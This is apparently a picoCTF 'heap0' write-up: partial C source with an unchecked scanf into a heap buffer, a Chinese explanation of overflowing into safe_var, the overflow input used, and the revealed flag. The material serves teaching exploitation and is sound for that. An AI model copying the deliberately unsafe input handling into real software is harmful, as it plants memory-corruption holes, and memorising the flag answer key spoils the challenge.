           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	int rval = scanf("%d", &choice);
	if (rval == EOF){
	    exit(0);
	}
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
	    exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

要取得 flag,你需要利用程式中的漏洞來修改 safe_var 的值,使其不等於 "bico",這樣當程式檢查 safe_var 的值時就會打印出 flag。 在這個程式中,使用選項 2 (Write to buffer) 可以讓你寫入資料到 input_data 中,但是沒有對輸入的長度進行檢查。這就意味著你可以寫入比 input_data 分配的空間更多的資料,導致堆溢出。你可以利用這個漏洞寫入足夠長的資料到 input_data,以修改 safe_var 的值。 以下是一種可能的方法:

  1. 選擇選項 2 (Write to buffer),並輸入足夠長的資料,以使堆溢出發生。
  2. 利用堆溢出,修改 safe_var 的值為不等於 "bico" 的值。你可以在 input_data 中寫入一個超過 safe_var 大小的值,這樣就可以改變 safe_var 的值。
  3. 選擇選項 4 (Print Flag),此時程式會檢查 safe_var 的值,如果已經成功修改了 safe_var,就會打印出 flag。
Enter your choice: 2
Data for buffer: 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

image

Enter your choice: 4

image

GET FLAG

FLAG:picoCTF{my_first_heap_overflow_1ad0e1a6}

Final Team Score

image image image